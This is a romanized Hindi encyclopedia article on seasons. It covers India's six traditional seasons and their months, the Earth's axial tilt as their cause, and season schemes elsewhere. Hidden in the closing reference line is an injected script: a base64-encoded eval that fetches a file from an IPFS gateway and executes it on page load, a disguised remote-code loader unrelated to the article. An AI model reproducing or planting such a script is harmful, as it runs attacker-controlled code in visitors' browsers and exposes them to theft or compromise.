ऋतु

rritu
sarasoan ke khet (basant rritu)|200px|center
vivaran	rritu ek varsh se chhota kalakhand hai jisamean mausam ki dashaean ek vishesh prakar ki hoti haian. bharat ko bhoolok ka gaurav tatha prakriti ka puny lilasthal kaha gaya hai. vishv mean bharat hi ek aisa desh hai jahaan samay-samay par chhah rrituean apani chhata bikherati haian. pratyek rritu do mas ki hoti hai.
kul rrituean	bharat mean mote hisab se tin rrituean mani jati haian- sharad, grishm, varsha jisamean pratyek rritu char mahine ki hoti hai parantu prachin kal mean yahaan chhah rrituean mani jati thian- vasant, grishm, varsha, sharad, hemant aur shishir.
vasant	chaitr se vaishakh
grishm	jyeshth se ashadh
varsha	shravan se bhadrapad
sharad	ashvin se kartik
hemant	margashirsh se paush
shishir	magh se phalgun
any janakari	bharatavarsh mean varsha rritu b di spasht hoti hai, parantu sansar ke any sabhi bhagoan mean aisa nahian hota. keval aphrika aur dakshin amarika ke ushnakatibandhiy bhagoan mean kuchh kuchh aisa hota hai. yoorop adi samashitoshn deshoan mean char rrituean mani jati hai- sharad, vasant, garami aur patajh d (aautam).

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rritu (aangrezi: Season) ek varsh se chhota kalakhand hai jisamean mausam ki dashaean ek vishesh prakar ki hoti haian. yah kalakhand ek varsh ko kee bhagoan mean vibhajit karata hai jinake dauran prithvi ke soory ki parikrama ke parinamasvaroop din ki avadhi, tapaman, varsha, ardrata ityadi mausami dashaean ek chakriy roop mean badalati haian. mausam ki dashaoan mean varsh ke dauran is chakriy badalav ka prabhav paritantr par p data hai aur is prakar paritantriy rrituean nirmit hoti haian. rrituean prakritik avasthaoan ke anusar varsh ke vibhag haian. bharat mean mote hisab se tin rrituean mani jati haian- sharad, grishm, varsha jisamean pratyek rritu char mahine ki hoti hai parantu prachin kal mean yahaan chhah rrituean mani jati thian- vasant, grishm, varsha, sharad, hemant aur shishir. pratyek rritu do mahine ki hoti hai. rritu saair aaair chandr dae prakar ke haete haian. dharmik kary mean chandr rrituean li jati haian. jin mahinoan mean sabase adhik pani barasata hai ve varsha rritu ke mahine haian; nam ke anusar savan bhadoan ke mahine varsha rritu ke haian, parantu yadi varsh ka man-varsh mean dinoan ki sankhya-thik n ho to kalaantar mean rrituoan aur mahinoan mean aantar p d jaega aur yah aantar badhata jaega. bharat ke jo panchaang prachin granthoan ke adhar par banate haian unamean varsh man thik nahian rahata aur is karan vartaman samay ke savan bhadoan tatha kalidas ke samay ke savan bhadoan mean lagabhag 22 din ka aantar p d gaya hai. mote hisab se navanbar se pharavari tak sardi, march se madhy joon tak garmi aur madhm joon se aktoobar tak varsha rritu gini ja sakati hai.

mool karan

rrituoan ka mool karan yah hai ki prithvi, soory ki pradakshina karati hai. usake charoan or chakkar lagati rahati hai aur sath hi apane aksh par ghoomati rahati hai. yah aksh poorvokt pradakshin ke samatal par lanb nahian hai; lanb se aksh lagabhag 23¹/₂ aansh ka kon banata hai. isak parinam yah hota hai ki ek varsh mean adhe samay tak pratyek drashta ko soory uttar ki or dhire dhire badhata dikhaee p data hai aur adhe samay tak dakshin ki or. varsh ke ye hi do adhe hi ayan, uttarayan aur dakshinayan kahalate haian.

vaijnanik drishtikon

prithvi ke aksh ke ghoomane ke karan din aur rat hoti hai. prithvi ke uttari golardh mean sthit deshoan mean, jaise bharat mean, uttarayan mean din badhata jata hai aur dakshinayan mean ghatata rahata hai. bharat mean sabase chhota din lagabhag 24 disanbar ko hota hai aur sabase b da din lagabhag 23 joon ko hota hai. yadi soory ka mahattam unnataansh-dopahar ke samay ki koniy ooanchaee-varsh bhar ek saman rahata to pratyaksh hai ki lanbe dinoan mean kul milakar adhik dhoop aur isalie adhik ooshma milati, aur isalie garami tab p dati jab din lagabhag mahattam b de hote, parantu sath hi yah bhi hota hai ki jab din b de hote haian tab soory ka madhyanhakalik unnataansh adhik rahata hai. isalie 24 joon ke lagabhag poorvokt donoan karanoan se-dinoan ke lanbe hone tatha sooryonnataansh adhik rahane se hamean soory se garami sabase adhik milati hai. inhian ki viparit avasthaoan ke karan 24 disanbar ke lagabhag hamean soory se garami nyoonatam matra mean milati hai.

parantu prithvi ke tal par jitani garami p dati hai sab vahian nahian rah jati. chalan (kandakshan) se kuchh prithvi ke bhitar ghus jati hai; sanvahan (kannavekshan) se kuchh hava dvara idhar udhar chali jati hai aur vikiran (redieshan) se kuchh akash mean nikal jati hai. jab soory se mili garami aur poorvokt karanoan se nikal gee garami barabar ho jati hai to samyavastha sthapit hoti hai aur tap nahian badhata. yah samyavastha usi din nahian sthapit hoti jis din din sarvadhik b da hota hai aur isalie prithvi ko soory se mahattam garami milati hai. samyavastha lagabhag ek mahine bad sthapit hoti hai aur isalie tap adhikaansh deshoan mean-jahaan joon mean pani nahian barasata-lagabhag ek mahine bad mahattam hota hai. prithvital ke tap se usake oopar ki vayu ke tap ka ghanishth sanbandh hai. donoan lagabhag ek sath hi mahattam ya laghuttam hote haian. samudr par pani mean dharaoan ke karan aur vashpan (pani ke vashp mean parinat hone) ke karan bhi tap adhik nahian hone pata. vahaan sabase b de din ke lagabhag do mahine bad pani sabase adhik garam hota hai. oopar ki batean vahian lagoo hoangi badal n hoan aur pani n barase. pani aur badal se saryoo se garami ka milana band ho jata hai.

yah dekhana ki soory ke uttar chale jane par din kyoan lanbe ho jate haian aur soory ka unnataansh kyoan badh jata hai, saral hai. jab soory prithvi ko bhoomadhyarekha ke dharatal mean rahata hai tab prithvi ke apane aksh ke parit: ghoomane ke karan-apani dainik gati ke karan-varanasi ke saman sthan ek ahoratri (=24 ghante) ke adhe samay tak dhoop mean rahata hai aur adhe samay tak aandhere mean parantu joon mean, jab soory bhoomadhyarekha ke samatal se uttar rahata hai aur usase lagabhag 23¹/₂ aansh ka kon banata hai, uttariy gole par ka pratyek sthan adhi ahoratri se kahian adhik samay tak dhoop mean rahata hai aur vahaan soory ka unnataansh bhi adhik rahata hai.

bharat ki chhah rrituean

bharat ko bhoolok ka gaurav tatha prakriti ka puny lilasthal kaha gaya hai. vishv mean bharat hi ek aisa desh hai jahaan samay-samay par chhah rrituean apani chhata bikherati haian. pratyek rritu do mas ki hoti hai.

rritu	hindoo mas	aangrezi mah (gregori mas)
grishm	jyeshth se ashadh	mee se joon
varsha	shravan se bhadrapad	julaee se sitambar
sharad	ashvin se kartik	aktoobar se navambar
hemant	margashirsh se paush	disambar se 15 janavari (lagabhag)
shishir	magh se phalgun	16 janavari (lagabhag) se faravari
vasant	chaitr se vaishakh	march se aprail

1. basant rritu

chaitr aur vaishakh basant rritu' ka parichay deti hai. is rritu ko rrituraj ki sanjna di gayi hai. dharati ka sauandary is prakritik anand ke strot mean badh jata hai. rangoan ka tyauhar holi basant rritu ki shobha ko dvigunit kar deta hai. hamara jivan charoan or ke mohak vatavaran ko dekhakar muskara uthata hai.

2. grishm rritu

jyeshth aur ashadh 'grishm rritu' ke mas hai. isamean soory uttarayan ki or badhata hai. grishm rritu prani matr ke liye kashtakari avashy hai par tap ke bina sukh-suvidha ko prapt nahian kiya ja sakata. yadi garmi n p de to hamean paka hua ann bhi prapt n ho.

3. varsha rritu

shravan aur bhadrapad 'varsha rritu' ke mas haian. varsha naya jivan lekar ati hai. mor ke paanv mean nrity bandh jata hai. tij aur rakshabandhan jaise tyauhar bhi is rritu mean ate haian.

4. sharad rritu

ashvin aur kartik ke mas 'sharad rritu' ke mas haian. sharad rritu prabhav ki drishti se basant rritu ka hi doosara rup hai. vatavaran mean svachchhata ka prasar dikhaee p data hai. dashahara aur dipavali ke tyauhar isi rritu mean ate haian.

5. hemant rritu

margashirsh aur paush 'hemant rritu' ke mas haian. is rritu mean sharir pray: svasth rahata hai. pachan shakti badh jati hai.

6. shishir rritu

magh aur phalgun 'shishir' arthath patajh d ke mas haian. isaka arambh makar sankraanti se hota hai. is rritu mean prakriti par budhapa chha jata hai. vrikshoan ke patte jh dane lagate haian. charoan or kuhara chhaya rahata hai. is prakar ye rrituean jivan roopi phalak ke bhinn- bhinn drishy haian, jo jivan mean rochakata, sarasata aur poornata lati haian.

any deshoan mean rrituean

bharatavarsh mean varsha rritu b di spasht hoti hai, parantu sansar ke any sabhi bhagoan mean aisa nahian hota. keval aphrika aur dakshin amarika ke ushnakatibandhiy bhagoan mean kuchh kuchh aisa hota hai. yoorop adi samashitoshn deshoan mean char rrituean mani jati hai- sharad, vasant, garami aur patajh d (aautam). parantu smaran rakhana chahie ki rrituoan ka yah bantavara keval suvidha ke lie hai. vastavik rritu mean badal, pani, pavan, paha d, samudr ki nikatata, samudradharaoan adi ka b da prabhav p data hai. bhoomadhy rekha ke pas-lagabhag 5° uttar se 5° dakshin tak-soory ki garami pray: barahoan mas ek saman rahati hai aur rat din bhi barabar nap ke hote haian. vahaan rrituean adhikatar badal adi poorvokt karanoan par nirbhar rahati haian. mote hisab se vahaan do grishm aur do sharad rrituean mani ja sakati haian.

tika tippani aur sandarbh

mool path srot: rrituean (hindi) (pi.ech.pi) bharatakhoj. abhigaman tithi: 25 joon, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

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